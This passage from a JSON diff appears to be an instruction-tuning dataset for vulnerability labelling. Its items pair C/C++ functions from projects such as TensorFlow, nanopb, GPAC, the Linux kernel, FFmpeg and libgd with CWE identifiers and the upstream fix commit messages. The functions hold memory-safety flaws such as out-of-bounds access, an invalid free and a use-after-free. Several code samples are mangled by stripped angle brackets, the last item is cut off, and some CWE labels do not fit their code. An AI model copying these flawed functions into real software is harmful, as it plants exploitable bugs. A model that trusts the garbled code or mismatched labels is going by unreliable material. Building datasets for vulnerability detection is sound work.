  }\n    }\n    DCHECK_EQ(next_index, nvals);\n\n    // Output the `sparse_values` Tensor.\n    if (rt_dense_values_in.dims() == 1) {\n      context->set_output(1, rt_dense_values_in);\n    } else {\n      Tensor sparse_values_out(rt_dense_values_in.dtype());\n      bool shapes_match = sparse_values_out.CopyFrom(\n          rt_dense_values_in, {rt_dense_values_in.NumElements()});\n      DCHECK(shapes_match);\n      context->set_output(1, sparse_values_out);\n    }\n\n    // Output the `sparse_dense_shape` Tensor.\n    int64_t ndims = rt_nested_splits_len + rt_dense_values_in.dims();\n    Tensor* sparse_dense_shape_out = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(2, TensorShape({ndims}),\n                                                     &sparse_dense_shape_out));\n    auto sparse_dense_shape = sparse_dense_shape_out->vec();\n    sparse_dense_shape(0) = rt_nested_splits_in[0].dim_size(0) - 1;\n    for (int dim = 0; dim < rt_nested_splits_len; ++dim) {\n      const auto& splits = rt_nested_splits[dim];\n      SPLITS_TYPE max_width = 0;\n      for (int i = 1; i < splits.size(); ++i) {\n        max_width = std::max(max_width, splits(i) - splits(i - 1));\n      }\n      sparse_dense_shape(dim + 1) = max_width;\n    }\n    for (int dim = 1; dim < rt_dense_values_in.dims(); ++dim) {\n      sparse_dense_shape(dim + rt_nested_splits_len) =\n          rt_dense_values_in.dim_size(dim);\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-824'], 'message': 'Add missing validation to `RaggedTensorToSparse`.\n\nThere needs to be a check that the splits allow for valid ragged tensors.\n\nPiperOrigin-RevId: 387712169\nChange-Id: I2499175324b82b65d159a260c7f83b98ceb5cc7d'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field)\n{\n    pb_field_iter_t old_field = *field;\n    pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */\n    pb_size_t new_tag = field->tag; /* New which_ value */\n\n    if (old_tag == 0)\n        return true; /* Ok, no old data in union */\n\n    if (old_tag == new_tag)\n        return true; /* Ok, old data is of same type => merge */\n\n    /* Release old data. The find can fail if the message struct contains\n     * invalid data. */\n    if (!pb_field_iter_find(&old_field, old_tag))\n        PB_RETURN_ERROR(stream, \"invalid union tag\");\n\n    pb_release_single_field(&old_field);\n\n    return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-763'], 'message': 'Fix invalid free() with oneof (#647)\n\nNanopb would call free() or realloc() on an invalid\n(attacker controlled) pointer value when all the following\nconditions are true:\n\n- PB_ENABLE_MALLOC is defined at the compile time\n- Message definition contains an oneof field, and the oneof\n  contains at least one pointer type field and at least one\n  non-pointer type field.\n- Data being decoded first contains a non-pointer value for\n  the oneof field, and later contains an overwriting pointer\n  value.\n\nDepending on message layout, the bug may not be exploitable in all\ncases, but it is known to be exploitable at least with string and\nbytes fields. Actual security impact will also depend on the heap\nimplementation used.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err flac_dmx_process(GF_Filter *filter)\n{\n\tGF_FLACDmxCtx *ctx = gf_filter_get_udta(filter);\n\tGF_FilterPacket *pck, *dst_pck;\n\tu8 *output;\n\tu8 *start;\n\tBool final_flush=GF_FALSE;\n\tu32 pck_size, remain, prev_pck_size;\n\tu64 cts = GF_FILTER_NO_TS;\n\tFLACHeader hdr;\n\n\t//always reparse duration\n\tif (!ctx->duration.num)\n\t\tflac_dmx_check_dur(filter, ctx);\n\n\tif (ctx->opid && !ctx->is_playing)\n\t\treturn GF_OK;\n\n\tpck = gf_filter_pid_get_packet(ctx->ipid);\n\tif (!pck) {\n\t\tif (gf_filter_pid_is_eos(ctx->ipid)) {\n\t\t\tif (!ctx->flac_buffer_size) {\n\t\t\t\tif (ctx->opid)\n\t\t\t\t\tgf_filter_pid_set_eos(ctx->opid);\n\t\t\t\tif (ctx->src_pck) gf_filter_pck_unref(ctx->src_pck);\n\t\t\t\tctx->src_pck = NULL;\n\t\t\t\treturn GF_EOS;\n\t\t\t}\n\t\t\tfinal_flush = GF_TRUE;\n\t\t} else {\n\t\t\treturn GF_OK;\n\t\t}\n\t}\n\n\tprev_pck_size = ctx->flac_buffer_size;\n\tif (pck && !ctx->resume_from) {\n\t\tu8 *data = (u8 *) gf_filter_pck_get_data(pck, &pck_size);\n\n\t\tif (ctx->byte_offset != GF_FILTER_NO_BO) {\n\t\t\tu64 byte_offset = gf_filter_pck_get_byte_offset(pck);\n\t\t\tif (!ctx->flac_buffer_size) {\n\t\t\t\tctx->byte_offset = byte_offset;\n\t\t\t} else if (ctx->byte_offset + ctx->flac_buffer_size != byte_offset) {\n\t\t\t\tctx->byte_offset = GF_FILTER_NO_BO;\n\t\t\t\tif ((byte_offset != GF_FILTER_NO_BO) && (byte_offset>ctx->flac_buffer_size) ) {\n\t\t\t\t\tctx->byte_offset = byte_offset - ctx->flac_buffer_size;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (ctx->flac_buffer_size + pck_size > ctx->flac_buffer_alloc) {\n\t\t\tctx->flac_buffer_alloc = ctx->flac_buffer_size + pck_size;\n\t\t\tctx->flac_buffer = gf_realloc(ctx->flac_buffer, ctx->flac_buffer_alloc);\n\t\t}\n\t\tmemcpy(ctx->flac_buffer + ctx->flac_buffer_size, data, pck_size);\n\t\tctx->flac_buffer_size += pck_size;\n\t}\n\n\t//input pid sets some timescale - we flushed pending data , update cts\n\tif (ctx->timescale && pck) {\n\t\tcts = gf_filter_pck_get_cts(pck);\n\t}\n\n\tif (cts == GF_FILTER_NO_TS) {\n\t\t//avoids updating cts\n\t\tprev_pck_size = 0;\n\t}\n\n\tremain = ctx->flac_buffer_size;\n\tstart = ctx->flac_buffer;\n\n\tif (ctx->resume_from) {\n\t\tstart += ctx->resume_from - 1;\n\t\tremain -= ctx->resume_from - 1;\n\t\tctx->resume_from = 0;\n\t}\n\n\twhile (remain>2) {\n\t\tu32 next_frame=0, nb_samp;\n\t\tu32 cur_size = remain-2;\n\t\tu8 *cur_buf = start+2;\n\t\tu8 *hdr_start = NULL;\n\n\t\tif (final_flush) {\n\t\t\tnext_frame = remain;\n\t\t} else {\n\t\t\twhile (cur_size) {\n\t\t\t\t//wait till we have a frame header\n\t\t\t\thdr_start = memchr(cur_buf, 0xFF, cur_size);\n\t\t\t\tif (!hdr_start) break;\n\t\t\t\tnext_frame = (u32) (hdr_start-start);\n\t\t\t\tif (next_frame == remain)\n\t\t\t\t\tbreak;\n\n\t\t\t\tif ((hdr_start[1]&0xFC) == 0xF8) {\n\t\t\t\t\tif (flac_parse_header(ctx, hdr_start, (u32) remain - next_frame, &hdr))\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcur_buf = hdr_start+1;\n\t\t\t\tcur_size = (u32) (cur_buf - start);\n\t\t\t\tassert(cur_size<=remain);\n\t\t\t\tcur_size = remain - cur_size;\n\t\t\t\thdr_start = NULL;\n\t\t\t}\n\t\t\tif (!hdr_start) break;\n\t\t\tif (next_frame == remain)\n\t\t\t\tbreak;\n\t\t}\n\n\n\t\tif (!ctx->initialized) {\n\t\t\tu32 size = next_frame;\n\t\t\tu32 dsi_end = 0;\n\t\t\t//we have a header\n\t\t\tgf_bs_reassign_buffer(ctx->bs, ctx->flac_buffer, size);\n\t\t\tu32 magic = gf_bs_read_u32(ctx->bs);\n\t\t\tif (magic != GF_4CC('f','L','a','C')) {\n\n\t\t\t}\n\t\t\twhile (gf_bs_available(ctx->bs)) {\n\t\t\t\tBool last = gf_bs_read_int(ctx->bs, 1);\n\t\t\t\tu32 type = gf_bs_read_int(ctx->bs, 7);\n\t\t\t\tu32 len = gf_bs_read_int(ctx->bs, 24);\n\n\t\t\t\tif (type==0) {\n\t\t\t\t\tu16 min_block_size = gf_bs_read_u16(ctx->bs);\n\t\t\t\t\tu16 max_block_size = gf_bs_read_u16(ctx->bs);\n\t\t\t\t\t/*u32 min_frame_size = */gf_bs_read_u24(ctx->bs);\n\t\t\t\t\t/*u32 max_frame_size = */gf_bs_read_u24(ctx->bs);\n\t\t\t\t\tctx->sample_rate = gf_bs_read_int(ctx->bs, 20);\n\t\t\t\t\tctx->nb_channels = 1 + gf_bs_read_int(ctx->bs, 3);\n\t\t\t\t\tctx->bits_per_sample = 1 + gf_bs_read_int(ctx->bs, 5);\n\t\t\t\t\tif (min_block_size==max_block_size) ctx->block_size = min_block_size;\n\t\t\t\t\telse ctx->block_size = 0;\n\n\t\t\t\t\tctx->duration.num = gf_bs_read_long_int(ctx->bs, 36);\n\t\t\t\t\tctx->duration.den = ctx->sample_rate;\n\t\t\t\t\t//ignore the rest\n\t\t\t\t\tgf_bs_skip_bytes(ctx->bs, 16);\n\t\t\t\t\tdsi_end = (u32) gf_bs_get_position(ctx->bs);\n\n\t\t\t\t} else {\n\t\t\t\t\t//ignore the rest for now\n\t\t\t\t\t//TODO: expose metadata, pictures and co\n\t\t\t\t\tgf_bs_skip_bytes(ctx->bs, len);\n\t\t\t\t}\n\t\t\t\tif (last) break;\n\t\t\t}\n\t\t\tflac_dmx_check_pid(filter, ctx, ctx->flac_buffer+4, dsi_end-4);\n\t\t\tremain -= size;\n\t\t\tstart += size;\n\t\t\tctx->initialized = GF_TRUE;\n\t\t\tif (!ctx->is_playing) break;\n\t\t\tcontinue;\n\t\t}\n\n\t\t//we have a next frame, check we are synchronize\n\t\tif ((start[0] != 0xFF) && ((start[1]&0xFC) != 0xF8)) {\n\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_PARSER, (\"[FLACDmx] invalid frame, droping %d bytes and resyncing\\n\", next_frame));\n\t\t\tstart += next_frame;\n\t\t\tremain -= next_frame;\n\t\t\tcontinue;\n\t\t}\n\n\t\tflac_parse_header(ctx,start, next_frame, &hdr);\n\t\tif (hdr.sample_rate != ctx->sample_rate) {\n\t\t\tctx->sample_rate = hdr.sample_rate;\n\t\t\tgf_filter_pid_set_property(ctx->opid, GF_PROP_PID_SAMPLE_RATE, & PROP_UINT(ctx->sample_rate));\n\t\t}\n\n\t\tnb_samp = hdr.block_size;\n\n\t\tif (ctx->in_seek) {\n\t\t\tu64 nb_samples_at_seek = (u64) (ctx->start_range * ctx->sample_rate);\n\t\t\tif (ctx->cts + nb_samp >= nb_samples_at_seek) {\n\t\t\t\t//u32 samples_to_discard = (ctx->cts + nb_samp ) - nb_samples_at_seek;\n\t\t\t\tctx->in_seek = GF_FALSE;\n\t\t\t}\n\t\t}\n\n\t\tif (ctx->timescale && !prev_pck_size && (cts != GF_FILTER_NO_TS) ) {\n\t\t\tctx->cts = cts;\n\t\t\tcts = GF_FILTER_NO_TS;\n\t\t}\n\n\t\tif (!ctx->in_seek) {\n\t\t\tdst_pck = gf_filter_pck_new_alloc(ctx->opid, next_frame, &output);\n\t\t\tmemcpy(output, start, next_frame);\n\n\t\t\tgf_filter_pck_set_cts(dst_pck, ctx->cts);\n\t\t\tif (!ctx->timescale || (ctx->timescale==ctx->sample_rate) )\n\t\t\t\tgf_filter_pck_set_duration(dst_pck, nb_samp);\n\t\t\telse {\n\t\t\t\tgf_filter_pck_set_duration(dst_pck, (nb_samp * ctx->timescale) / ctx->sample_rate);\n\t\t\t}\n\t\t\tgf_filter_pck_set_sap(dst_pck, GF_FILTER_SAP_1);\n\t\t\tgf_filter_pck_set_framing(dst_pck, GF_TRUE, GF_TRUE);\n\n\t\t\tif (ctx->byte_offset != GF_FILTER_NO_BO) {\n\t\t\t\tgf_filter_pck_set_byte_offset(dst_pck, ctx->byte_offset);\n\t\t\t}\n\t\t\tgf_filter_pck_send(dst_pck);\n\t\t}\n\t\tflac_dmx_update_cts(ctx, nb_samp);\n\n\t\tassert (start[0] == 0xFF);\n\t\tassert((start[1]&0xFC) == 0xF8);\n\n\t\tstart += next_frame;\n\t\tassert(remain >= next_frame);\n\t\tremain -= next_frame;\n\n\t}\n\n\tif (!pck) {\n\t\tctx->flac_buffer_size = 0;\n\t\treturn flac_dmx_process(filter);\n\t} else {\n\t\tif (remain < ctx->flac_buffer_size) {\n\t\t\tmemmove(ctx->flac_buffer, start, remain);\n\t\t}\n\t\tctx->flac_buffer_size = remain;\n\t\tgf_filter_pid_drop_packet(ctx->ipid);\n\t}\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'fixed 1718'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void free_huge_page(struct page *page)\n{\n\t/*\n\t * Can't pass hstate in here because it is called from the\n\t * compound page destructor.\n\t */\n\tstruct hstate *h = page_hstate(page);\n\tint nid = page_to_nid(page);\n\tstruct address_space *mapping;\n\n\tmapping = (struct address_space *) page_private(page);\n\tset_page_private(page, 0);\n\tpage->mapping = NULL;\n\tBUG_ON(page_count(page));\n\tBUG_ON(page_mapcount(page));\n\tINIT_LIST_HEAD(&page->lru);\n\n\tspin_lock(&hugetlb_lock);\n\tif (h->surplus_huge_pages_node[nid] && huge_page_order(h) < MAX_ORDER) {\n\t\tupdate_and_free_page(h, page);\n\t\th->surplus_huge_pages--;\n\t\th->surplus_huge_pages_node[nid]--;\n\t} else {\n\t\tenqueue_huge_page(h, page);\n\t}\n\tspin_unlock(&hugetlb_lock);\n\tif (mapping)\n\t\thugetlb_put_quota(mapping, 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'hugepages: fix use after free bug in \"quota\" handling\n\nhugetlbfs_{get,put}_quota() are badly named.  They don't interact with the\ngeneral quota handling code, and they don't much resemble its behaviour.\nRather than being about maintaining limits on on-disk block usage by\nparticular users, they are instead about maintaining limits on in-memory\npage usage (including anonymous MAP_PRIVATE copied-on-write pages)\nassociated with a particular hugetlbfs filesystem instance.\n\nWorse, they work by having callbacks to the hugetlbfs filesystem code from\nthe low-level page handling code, in particular from free_huge_page().\nThis is a layering violation of itself, but more importantly, if the\nkernel does a get_user_pages() on hugepages (which can happen from KVM\namongst others), then the free_huge_page() can be delayed until after the\nassociated inode has already been freed.  If an unmount occurs at the\nwrong time, even the hugetlbfs superblock where the \"quota\" limits are\nstored may have been freed.\n\nAndrew Barry proposed a patch to fix this by having hugepages, instead of\nstoring a pointer to their address_space and reaching the superblock from\nthere, had the hugepages store pointers directly to the superblock,\nbumping the reference count as appropriate to avoid it being freed.\nAndrew Morton rejected that version, however, on the grounds that it made\nthe existing layering violation worse.\n\nThis is a reworked version of Andrew's patch, which removes the extra, and\nsome of the existing, layering violation.  It works by introducing the\nconcept of a hugepage \"subpool\" at the lower hugepage mm layer - that is a\nfinite logical pool of hugepages to allocate from.  hugetlbfs now creates\na subpool for each filesystem instance with a page limit set, and a\npointer to the subpool gets added to each allocated hugepage, instead of\nthe address_space pointer used now.  The subpool has its own lifetime and\nis only freed once all pages in it _and_ all other references to it (i.e.\nsuperblocks) are gone.\n\nsubpools are optional - a NULL subpool pointer is taken by the code to\nmean that no subpool limits are in effect.\n\nPrevious discussion of this bug found in:  \"Fix refcounting in hugetlbfs\nquota handling.\". See:  https://lkml.org/lkml/2011/8/11/28 or\nhttp://marc.info/?l=linux-mm&m=126928970510627&w=1\n\nv2: Fixed a bug spotted by Hillf Danton, and removed the extra parameter to\nalloc_huge_page() - since it already takes the vma, it is not necessary.\n\nSigned-off-by: Andrew Barry \nSigned-off-by: David Gibson \nCc: Hugh Dickins \nCc: Mel Gorman \nCc: Minchan Kim \nCc: Hillf Danton \nCc: Paul Mackerras \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void read_quant_matrix_ext(MpegEncContext *s, GetBitContext *gb)\n{\n    int i, j, v;\n\n    if (get_bits1(gb)) {\n        /* intra_quantiser_matrix */\n        for (i = 0; i < 64; i++) {\n            v = get_bits(gb, 8);\n            j = s->idsp.idct_permutation[ff_zigzag_direct[i]];\n            s->intra_matrix[j]        = v;\n            s->chroma_intra_matrix[j] = v;\n        }\n    }\n\n    if (get_bits1(gb)) {\n        /* non_intra_quantiser_matrix */\n        for (i = 0; i < 64; i++) {\n            get_bits(gb, 8);\n        }\n    }\n\n    if (get_bits1(gb)) {\n        /* chroma_intra_quantiser_matrix */\n        for (i = 0; i < 64; i++) {\n            v = get_bits(gb, 8);\n            j = s->idsp.idct_permutation[ff_zigzag_direct[i]];\n            s->chroma_intra_matrix[j] = v;\n        }\n    }\n\n    if (get_bits1(gb)) {\n        /* chroma_non_intra_quantiser_matrix */\n        for (i = 0; i < 64; i++) {\n            get_bits(gb, 8);\n        }\n    }\n\n    next_start_code_studio(gb);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'avcodec/mpeg4videodec: Check for bitstream end in read_quant_matrix_ext()\n\nFixes: out of array read\nFixes: asff-crash-0e53d0dc491dfdd507530b66562812fbd4c36678\n\nFound-by: Paul Ch \nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int read_header_tga(gdIOCtx *ctx, oTga *tga)\n{\n\n\tunsigned char header[18];\n\n\tif (gdGetBuf(header, sizeof(header), ctx) < 18) {\n\t\tgd_error(\"fail to read header\");\n\t\treturn -1;\n\t}\n\n\ttga->identsize = header[0];\n\ttga->colormaptype = header[1];\n\ttga->imagetype = header[2];\n\ttga->colormapstart = header[3] + (header[4] << 8);\n\ttga->colormaplength = header[5] + (header[6] << 8);\n\ttga->colormapbits = header[7];\n\ttga->xstart = header[8] + (header[9] << 8);\n\ttga->ystart = header[10] + (header[11] << 8);\n\ttga->width = header[12] + (header[13] << 8);\n\ttga->height = header[14] + (header[15] << 8);\n\ttga->bits = header[16];\n\ttga->alphabits = header[17] & 0x0f;\n\ttga->fliph = (header[17] & 0x10) ? 1 : 0;\n\ttga->flipv = (header[17] & 0x20) ? 0 : 1;\n\n#if DEBUG\n\tprintf(\"format bps: %i\\n\", tga->bits);\n\tprintf(\"flip h/v: %i / %i\\n\", tga->fliph, tga->flipv);\n\tprintf(\"alpha: %i\\n\", tga->alphabits);\n\tprintf(\"wxh: %i %i\\n\", tga->width, tga->height);\n#endif\n\n\tif (!((tga->bits == TGA_BPP_24 && tga->alphabits == 0)\n\t\t|| (tga->bits == TGA_BPP_32 && tga->alphabits == 8)))\n\t{\n\t\tgd_error_ex(GD_WARNING, \"gd-tga: %u bits per pixel with %u alpha bits not supported\\n\",\n\t\t\ttga->bits, tga->alphabits);\n\t\treturn -1;\n\t}\n\n\ttga->ident = NULL;\n\n\tif (tga->identsize > 0) {\n\t\ttga->ident = (char *) gdMalloc(tga->identsize * sizeof(char));\n\t\tif(tga->ident == NULL) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tgdGetBuf(tga->ident, tga->identsize, ctx);\n\t}\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'fix read out-of-bands in reading tga header file'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: agoo_con_create(agooErr err, int sock, uint64_t id, agooBind b) {\n    agooCon\tc;\n\n    if (NULL == (c = (agooCon)AGOO_CALLOC(1, sizeof(struct _agooCon)))) {\n\tAGOO_ERR_MEM(err, \"Connection\");\n    } else {\n\tc->sock = sock;\n\tc->id = id;\n\tc->timeout = dtime() + CON_TIMEOUT;\n\tc->bind = b;\n\tc->loop = NULL;\n\tpthread_mutex_init(&c->res_lock, 0);\n    }\n    return c;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-444', 'CWE-61'], 'message': 'Remote addr (#99)\n\n* REMOTE_ADDR added\r\n\r\n* Ready for merge'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int read_header_tga(gdIOCtx *ctx, oTga *tga)\n{\n\n\tunsigned char header[18];\n\n\tif (gdGetBuf(header, sizeof(header), ctx) < 18) {\n\t\tgd_error(\"fail to read header\");\n\t\treturn -1;\n\t}\n\n\ttga->identsize = header[0];\n\ttga->colormaptype = header[1];\n\ttga->imagetype = header[2];\n\ttga->colormapstart = header[3] + (header[4] << 8);\n\ttga->colormaplength = header[5] + (header[6] << 8);\n\ttga->colormapbits = header[7];\n\ttga->xstart = header[8] + (header[9] << 8);\n\ttga->ystart = header[10] + (header[11] << 8);\n\ttga->width = header[12] + (header[13] << 8);\n\ttga->height = header[14] + (header[15] << 8);\n\ttga->bits = header[16];\n\ttga->alphabits = header[17] & 0x0f;\n\ttga->fliph = (header[17] & 0x10) ? 1 : 0;\n\ttga->flipv = (header[17] & 0x20) ? 0 : 1;\n\n#if DEBUG\n\tprintf(\"format bps: %i\\n\", tga->bits);\n\tprintf(\"flip h/v: %i / %i\\n\", tga->fliph, tga->flipv);\n\tprintf(\"alpha: %i\\n\", tga->alphabits);\n\tprintf(\"wxh: %i %i\\n\", tga->width, tga->height);\n#endif\n\n\tswitch(tga->bits) {\n\tcase 8:\n\tcase 16:\n\tcase 24:\n\tcase 32:\n\t\tbreak;\n\tdefault:\n\t\tgd_error(\"bps %i not supported\", tga->bits);\n\t\treturn -1;\n\t\tbreak;\n\t}\n\n\ttga->ident = NULL;\n\n\tif (tga->identsize > 0) {\n\t\ttga->ident = (char *) gdMalloc(tga->identsize * sizeof(char));\n\t\tif(tga->ident == NULL) {\n\t\t\treturn -1;\n\t\t}\n\n\t\tgdGetBuf(tga->ident, tga->identsize, ctx);\n\t}\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Unsupported TGA bpp/alphabit combinations should error gracefully\n\nCurrently, only 24bpp without alphabits and 32bpp with 8 alphabits are\nreally supported. All other combinations will be rejected with a warning.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void PM_io_parser::read()\n{\n  if ( !check_sep(\"Plane_map_2\") )\n    CGAL_error_msg(\"PM_io_parser::read: no embedded_PM header.\");\n  if ( !(check_sep(\"vertices\") && (in >> vn)) )\n    CGAL_error_msg(\"PM_io_parser::read: wrong node line.\");\n  if ( !(check_sep(\"halfedges\") && (in >> en) && (en%2==0)) )\n    CGAL_error_msg(\"PM_io_parser::read: wrong edge line.\");\n  if ( !(check_sep(\"faces\") && (in >> fn)) )\n    CGAL_error_msg(\"PM_io_parser::read: wrong face line.\");\n\n  Vertex_of.resize(vn);\n  Halfedge_of.resize(en);\n  Face_of.resize(fn);\n\n  for(i=0; inew_vertex();\n  for(i=0; inew_halfedge_pair_without_vertices();\n    else Halfedge_of[i] = twin(Halfedge_of[i-1]);\n  for(i=0; inew_face();\n\n  for(i=0; i \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-269'], 'message': 'Fix Nef_2 and Nef_S2 IO'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool read_ujpg( void )\n{\n    using namespace IOUtil;\n    using namespace Sirikata;\n//    colldata.start_decoder_worker_thread(std::bind(&simple_decoder, &colldata, str_in));\n    unsigned char ujpg_mrk[ 64 ];\n    // this is where we will enable seccomp, before reading user data\n    write_byte_bill(Billing::HEADER, true, 24); // for the fixed header\n\n    str_out->call_size_callback(max_file_size);\n    uint32_t compressed_header_size = 0;\n    if (ReadFull(str_in, ujpg_mrk, 4) != 4) {\n        custom_exit(ExitCode::SHORT_READ);\n    }\n    write_byte_bill(Billing::HEADER, true, 4);\n\n    compressed_header_size = LEtoUint32(ujpg_mrk);\n    if (compressed_header_size > 128 * 1024 * 1024 || max_file_size > 128 * 1024 * 1024) {\n        always_assert(false && \"Only support images < 128 megs\");\n        return false; // bool too big\n    }\n    bool pending_header_reads = false;\n    if (header_reader == NULL) {\n        std::vector > compressed_header_buffer(compressed_header_size);\n        IOUtil::ReadFull(str_in, compressed_header_buffer.data(), compressed_header_buffer.size());\n        header_reader = new MemReadWriter((JpegAllocator()));\n        {\n            if (ujgversion == 1) {\n                JpegAllocator no_free_allocator;\n#if !defined(USE_STANDARD_MEMORY_ALLOCATORS) && !defined(_WIN32) && !defined(EMSCRIPTEN)\n                no_free_allocator.setup_memory_subsystem(32 * 1024 * 1024,\n                                                         16,\n                                                         &mem_init_nop,\n                                                         &MemMgrAllocatorMalloc,\n                                                         &mem_nop,\n                                                         &mem_realloc_nop,\n                                                         &MemMgrAllocatorMsize);\n#endif\n                std::pair >,\n                          JpegError> uncompressed_header_buffer(\n                              ZlibDecoderDecompressionReader::Decompress(compressed_header_buffer.data(),\n                                                                         compressed_header_buffer.size(),\n                                                                         no_free_allocator,\n                                                                         max_file_size + 2048));\n                if (uncompressed_header_buffer.second) {\n                    always_assert(false && \"Data not properly zlib coded\");\n                    return false;\n                }\n                zlib_hdrs = compressed_header_buffer.size();\n                header_reader->SwapIn(uncompressed_header_buffer.first, 0);\n            } else {\n                std::pair >,\n                          JpegError> uncompressed_header_buffer(\n                              Sirikata::BrotliCodec::Decompress(compressed_header_buffer.data(),\n                                                                compressed_header_buffer.size(),\n                                                                JpegAllocator(),\n                                                                max_file_size * 2 + 128 * 1024 * 1024));\n                if (uncompressed_header_buffer.second) {\n                    always_assert(false && \"Data not properly zlib coded\");\n                    return false;\n                }\n                zlib_hdrs = compressed_header_buffer.size();\n                header_reader->SwapIn(uncompressed_header_buffer.first, 0);            \n            }\n        }\n        write_byte_bill(Billing::HEADER,\n                        true,\n                        compressed_header_buffer.size());\n    } else {\n        always_assert(compressed_header_size == 0 && \"Special concatenation requires 0 size header\");\n    }\n    grbs = sizeof(EOI);\n    grbgdata = EOI; // if we don't have any garbage, assume FFD9 EOI\n    // read header from file\n    ReadFull(header_reader, ujpg_mrk, 3 ) ;\n    // check marker\n    if ( memcmp( ujpg_mrk, \"HDR\", 3 ) == 0 ) {\n        // read size of header, alloc memory\n        ReadFull(header_reader, ujpg_mrk, 4 );\n        hdrs = LEtoUint32(ujpg_mrk);\n        hdrdata = (unsigned char*) aligned_alloc(hdrs);\n        memset(hdrdata, 0, hdrs);\n        if ( hdrdata == NULL ) {\n            fprintf( stderr, MEM_ERRMSG );\n            errorlevel.store(2);\n            return false;\n        }\n        // read hdrdata\n        ReadFull(header_reader, hdrdata, hdrs );\n    }\n    else {\n        fprintf( stderr, \"HDR marker not found\" );\n        errorlevel.store(2);\n        return false;\n    }\n    bool memory_optimized_image = (filetype != UJG) && !g_allow_progressive;\n    // parse header for image-info\n    if ( !setup_imginfo_jpg(memory_optimized_image) )\n        return false;\n\n    // beginning here: recovery information (needed for exact JPEG recovery)\n\n    // read padbit information from file\n    ReadFull(header_reader, ujpg_mrk, 3 );\n    // check marker\n    if ( memcmp( ujpg_mrk, \"P0D\", 3 ) == 0 ) {\n        // This is a more nuanced pad byte that can have different values per bit\n        header_reader->Read( reinterpret_cast(&padbit), 1 );\n    }\n    else if ( memcmp( ujpg_mrk, \"PAD\", 3 ) == 0 ) {\n        // this is a single pad bit that is implied to have all the same values\n        header_reader->Read( reinterpret_cast(&padbit), 1 );\n        if (!(padbit == 0 || padbit == 1 ||padbit == -1)) {\n            while (write(2,\n                        \"Legacy Padbit must be 0, 1 or -1\\n\",\n                         strlen(\"Legacy Padbit must be 0, 1 or -1\\n\")) < 0\n                   && errno == EINTR) {\n            }\n            custom_exit(ExitCode::STREAM_INCONSISTENT);\n        }\n        if (padbit == 1) {\n            padbit = 0x7f; // all 6 bits set\n        }\n    }\n    else {\n        fprintf( stderr, \"PAD marker not found\" );\n        errorlevel.store(2);\n        return false;\n    }\n    std::vector thread_handoff;\n    // read further recovery information if any\n    while ( ReadFull(header_reader, ujpg_mrk, 3 ) == 3 ) {\n        // check marker\n        if ( memcmp( ujpg_mrk, \"CRS\", 3 ) == 0 ) {\n            rst_cnt_set = true;\n            ReadFull(header_reader, ujpg_mrk, 4);\n            rst_cnt.resize(LEtoUint32(ujpg_mrk));\n            for (size_t i = 0; i < rst_cnt.size(); ++i) {\n                ReadFull(header_reader, ujpg_mrk, 4);\n                rst_cnt.at(i) = LEtoUint32(ujpg_mrk);\n            }\n        } else if ( memcmp( ujpg_mrk, \"HHX\", 2 ) == 0 ) { // only 